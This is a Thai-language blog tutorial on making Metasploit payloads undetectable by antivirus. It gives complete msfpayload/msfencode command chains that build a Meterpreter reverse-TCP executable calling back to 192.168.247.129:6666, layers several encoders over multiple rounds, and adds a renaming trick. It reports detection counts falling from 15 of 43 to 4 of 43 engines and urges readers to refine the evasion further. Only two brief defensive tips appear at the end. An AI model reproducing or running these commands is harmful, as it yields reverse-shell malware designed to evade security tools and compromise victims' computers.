Metasploit, How to make payload Undetectable

การทำให้ AV ไม่เห็นไฟล์ payload เป็น malware

โดยทั่วไปพวกไฟล์ที่ทำงานในลักษณะนี้ AV จะเห็นเป็น hacktool หรือ trojan ในการสร้างไฟล์ payload แบบปกตินั้น AV บางตัวสามารถตรวจพบได้ว่า payload เป็น malware ได้ตามรูป


จากรูปเราจะพบว่า จาก AV 43 ตัวมี 15 ตัวที่เห็น payload ของเราเป็น malware ซึ่งผลออกมาก็ถือว่าพอทนแต่เราสามารถที่จะทำให้มันเนียนกว่านี้ได้โดยเราจะ ใช้หลักการ encode มาช่วยเพื่อทำให้ AV ตรวจจับได้ยากขึ้นและแน่นอนในส่วนของการ encode นั้นใน Metasploit ก็ได้จัด tool กับรูปแบบการ encode แบบต่างๆไว้ให้ มาเริ่มกันเลย

ขั้น 1. เปิด Cygwin Shell ขึ้นมา แล้วพิมพ์ msfencode -h ผลที่ได้คือ

error@unknow ~

# msfencode -h

Usage: /msf3/msfencode <options>

OPTIONS:

-a <opt> The architecture to encode as

-b <opt> The list of characters to avoid: ‘\x00\xff’

-c <opt> The number of times to encode the data

-e <opt> The encoder to use

-h Help banner

-i <opt> Encode the contents of the supplied file path

-k Keep template working; run payload in new thread (use with -x)

-l List available encoders

-m <opt> Specifies an additional module search path

-n Dump encoder information

-o <opt> The output file

-p <opt> The platform to encode for

-s <opt> The maximum size of the encoded data

-t <opt> The format to display the encoded buffer with (c, dll, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

-x <opt> Specify an alternate win32 executable template

 

ข้างบนนี้คือ options ต่างๆที่มีให้เราใช้งานในที่นี้ผมจะอธิบายบางตัวที่น่าสนใจ

-l ตัวนี้ใช้แสดงรูปแบบการ encode ที่ Metasploit มี

-e ตัวนี้ใช้เลือกรูปแบบการ encode

-t ตัวนี้ใช้เลือกว่าจะให้ output ออกเป็นไฟล์ประเภทไหน เช่น exe,dll

-c ตัวนี้ใช้เพื่อกำหนดว่าจะให้ encode กี่รอบ

ขั้นที่ 2. เรามาดูกันว่า Metasploit มีรูปแบบการ encode แบบไหนให้เราเลือกใช้มั้งโดยใน Cygwin Shell ให้พิมพ์ msfencode -l ได้ผลดังนี้

Framework Encoders

==================

Name Rank Description

—- —- ———–

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command Encoder

cmd/printf_util good Generic printf(1) Utility Command Encoder

generic/none normal The “none” Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

x86/context_stat manual stat(2)-based Context Keyed Payload Encoder

x86/context_time manual time(2)-based Context Keyed Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

ข้างบนนี้คือรูปแบบการ encode รูปแบบต่างๆที่ Metasploit มีให้ แถมยังบอกด้วยว่าอันไหนเจ๋ง ^^

ขั้นที่ 3.1. ทดสอบ encode ใน Cygwin Shell ให้เราพิมพ์ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe > 2.exe

คำสั่งข้างบนนี้หมายความว่าให้สร้าง payload แบบ meterpreter ให้ backconnect กลับไปที่ IP 192.168.247.129 บน Port 6666 โดยให้ encode ไฟล์ payload นี้ด้วยรูปแบบ x86/shikata_ga_nai แล้วกำหนดประเภทไฟล์ payload เป็นแบบ exe และให้ output ออกมาชื่อ 2.exe ผลจากการเอาไฟล์ที่ encode นี้ไปตรวจสอบได้ผลตามรูป

จาก AV 43 ตัว payload ของเราถูกตรวจพบเป็น malware 11 เนียนขึ้นมาอีกนิดนึง T_T แต่ยังไม่เป็นที่น่าพอใจ

ขั้นที่ 3.2. ในขั้นนี้เราจะมา encode แบบซับซ้อนขึ้นมาหน่อยโดย encode หลายชั้น ใน Cygwin Shell ให้พิมพ์ว่า msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=6666 R |   msfencode -e x86/shikata_ga_nai -t exe -c 5 | msfencode -e x86/context_cpuid -t dll -c 5 | msfencode -e x86/context_time -t exe -c 5 > 3.exe

ได้ผลดังรูป

คำสั่งข้างบนนี้หมายความว่าให้สร้าง payload แบบ meterpreter ให้ backconnect กลับไปที่ IP 192.168.247.129 บน Port 6666 โดยให้ encode ไฟล์ payload นี้ด้วยรูปแบบ x86/shikata_ga_nai 5 รอบ   โดยกำหนดให้เป็นประเภทไฟล์ exe ต่อจากนั้นนำมา encode ต่อด้วยรูปแบบ x86/context_cpuid 5 รอบ โดยกำหนดให้เป็นประเภทไฟล์ dll ต่อจากนั้นนำมา encode ต่อด้วยรูปแบบ x86/context_time 5 รอบ

โดยกำหนดให้เป็นประเภทไฟล์ exe หลังจากการนำไปตรวจสอบได้ผลดังรูป

จาก AV 43 ตัว มี AV เพียง 6 ตัวที่เจอได้แก่

Authentium 5.2.0.5 2010.09.18 W32/Swrort.A.gen!Eldorado

AVG 9.0.0.851 2010.09.18 Win32/Heur

F-Prot 4.6.1.107 2010.09.18 W32/Swrort.A.gen!Eldorado

K7AntiVirus 9.63.2552 2010.09.18 Riskware

Sophos 4.57.0 2010.09.18 Sus/UnkPack-C

VirusBuster 12.65.13.0 2010.09.18 Trojan.Rosena.Gen.1

ขั้นที่ 3.3 เนื่องจากว่า AV นอกจากจะตรวจสอบไฟล์ว่าเป็น malware หรือไม่จาก code การทำงานของไฟล์แล้ว ยังตรวจสอบจาก signature ด้วย ดังนั้นถึงแม้ว่าเราจะ encode ยังไงก็ตามถ้ายังมี signature ตรงกับฐานข้อมูลของ AV มันก็ยังตรวจเจอเหมือนเดิม ขั้นสุดท้ายนี้ เราจะมาใช้เทคนิคเล็กๆน้อยๆในการสับขาหลอก AV กัน

เริ่มจากนำคำสั่งจาก 3.2 มาคำสั่งคือ

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe -c 5 | msfencode -e x86/context_cpuid -t dll -c 5 | msfencode -e x86/context_time -t exe -c 5 > 3.exe

หลังจากนั้นเราก็เปลี่ยนเครื่องหมาย ‘/’ เป็น ‘_’ จะได้คำสั่งเป็น

msfpayload windows/meterpreter_reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe -c 5 | msfencode -e x86/context_cpuid -t dll -c 5 | msfencode -e x86/context_time -t exe -c 5 > 3.exe

ผลจากการนำไฟล์ payload นี้ไปตรวจสอบตามรูป

จาก AV 43 ตัวมี AV 4 ตัวตรวจพบว่าไฟล์ payload ของเราเป็น malware ได้แก่

Authentium 5.2.0.5 2010.09.18 W32/Swrort.A.gen!Eldorado

F-Prot 4.6.1.107 2010.09.18 W32/Swrort.A.gen!Eldorado

K7AntiVirus 9.63.2552 2010.09.18 Riskware

VirusBuster 12.65.13.0 2010.09.18 Trojan.Rosena.Gen.1

คงต้องยอมรับแล้วละว่าไอ่ 4 ตัวนี้มานเทพจริง ถึงแม้จะไม่เคยได้ยินชื่อมันเลยก็ตาม T_T (แต่อย่างน้อย AV ตัวฮิตๆมันก็ตรวจไม่เจอแล้วละ)

เพื่อนๆสามารถนำวิธีในข้างต้นนี้ไปประยุกต์ให้ซับซ้อนขึ้นให้ได้ payload ที่มีความเนียนมากกว่าที่ผมทำ ==”

สรุป ผมได้นำเสนอว่า Metasploit มีวิธีที่สามารถจะทำการ encode เพื่อ bypass AV ได้อย่างไรบ้าง ทั้งนี้ทั้งนั้นท่านต้องลองประยุกต์ด้วยตัวเองด้วย ว่าวิธีไหนใช้ได้วิธีไหนใช้ไม่ได้ครับเพราะผมเพียงแค่ให้แนวทางไว้เท่านั้น เพื่อให้ท่านได้เกิดการเรียนรู้ด้วย “ขออภัยที่ตัวอย่างไม่ดีครับเพราะบางอันใช้ไม่ได้แต่จากบทความผมท่านสามารถ ประยุกต์ให้มันใช้ได้แน่นอน”

 

ปล.0 AV = Antivirus มิใช่หนัง AV ที่ท่านรู้จัก ฮ่าา

ปล.1 เนื่องจากเรื่องนี้สามารถเข้าใจได้ไม่ยากจึงไม่ได้ทำวิดีโอมาให้ด้วยหวังว่าแฟนบทความจะไม่ผิดหวัง ^^

ปล.สามารถเซฟรูปไปดูบนเครื่องเพื่อดูขนาดใหญ่

วิธีป้องกัน

1.ไม่ Download ไฟล์ที่ไม่น่าเชื่อถือหรือจากแหล่งที่ไม่น่าเชื่อถือ

2.Update AV ล่าสุดเสมอ(ถึงแม้มันจะช่วยไม่ได้ 100% ^^)

#เขียนโดย MaYaSeVeN 

References

1.Metasploit – CITEC-Pedia

2.http://www.metasploit.com/

3.VirusTotal – Free Online Virus, Malware and URL Scanner

4.Metasploit Unleashed – Mastering the Framework

5.http://druid.caughq.org/presentations/Context-keyed-Payload-Encoding.pdf

6.http://uninformed.org/index.cgi?v=9&a=3&p=11

7.http://c26labs.com/blog/?p=36

 

encode, metasploit, msfencode, msfpayload, payload, undetectable, xor
Previous Post
แบ่งปันประสบการณ์การอบรบ Design Security
Next Post
How to Metasploit, simple to hack WinXP Sp3 + Win7

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *

Fill out this field
Fill out this field
Please enter a valid email address.
You need to agree with the terms to proceed